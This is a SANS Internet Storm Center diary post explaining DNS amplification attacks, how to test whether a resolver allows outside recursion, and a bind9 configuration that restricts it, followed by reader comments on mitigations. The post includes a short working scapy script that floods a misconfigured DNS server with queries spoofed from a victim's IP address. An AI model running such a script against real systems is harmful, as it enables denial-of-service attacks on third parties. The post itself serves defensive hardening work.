Testing for DNS recursion and avoiding being part of DNS amplification attacks

Published: 2016-01-04
Last Updated: 2016-01-04 18:36:00 UTC
by Manuel Humberto Santander Pelaez (Version: 1)
6 comment(s)

Yes, it has been said too many times, but still there are too many DNS servers out there allowing recursion to devices outside their network, which could be used for DNS amplification attacks. How? The attacker sends a spoofed DNS request with the victim IP address, usually from a botnet. When the misconfigured DNS answers will send the packet to the victim IP address causing a DDoS attack.

How can you test if your DNS allow recursion from the outside? You can use the dns-recursion nmap script:

If it's not enabled, you will only get an indication of an open port:

How does this attack work? Take a look to the following scenario:

A POC for the attack can be easily implemented using the following scapy script, which will be executed by the attacker:

#!/usr/bin/python
from scapy.all import *
victimIP = raw_input("Please enter the IP address for the victim: ")
dnsIP = raw_input("Please enter the IP address for the misconfigured DNS: ")
while True:
        send(IP(dst=dnsIP,src=victimIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.google.com")),verbose=0)

I named this script dnscapy.py. When executed:

Got the following packets in the victim side:

How can you avoid this attack? If you are using bind9, add the following to the global options, assuming your corporate networks are 10.1.1.0/24 and 10.1.2.0/24:

acl recursiononly { 10.1.1.0/24; 10.1.2.0/24; };
options {
  allow-query { any; };
  allow-recursion { recursiononly; };
};

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

Keywords:
6 comment(s)

Comments

Yep, and while we're on the topic, don't forget to also enable response rate limiting on your non-recursive DNS servers too. Even an authoritative server can be used in an amplification attack.
While we verify "allow-recursion" setting, also check the "allow-transfer" setting to limit DNS zone transfer. The amplification factor from zone transfer can be very much larger than recursive queries.
Zone transfers are dangerous, but not in amplification attacks since they're TCP based.
What would be the mitigating action for a Windows DNS server?
Disable DNS Recursion on Microsoft Windows DNS:
https://technet.microsoft.com/en-us/library/cc771738.aspx?f=255&MSPPError=-2147217396
I disagree. I think that recursion is not the problem. The problem is that:
- dns uses udp (tcp too, but only sometimes),
- responds can be longer than requests.
Of course, recursion helps attacker to ask for long answers, but it's nothing wrong to offer public recursive dns server. The right answer is to limit number of queries and maybe limit size of answers, monitor status and respond to anomalies, limit queries to networks/isps/countries but that's all.

Diary Archives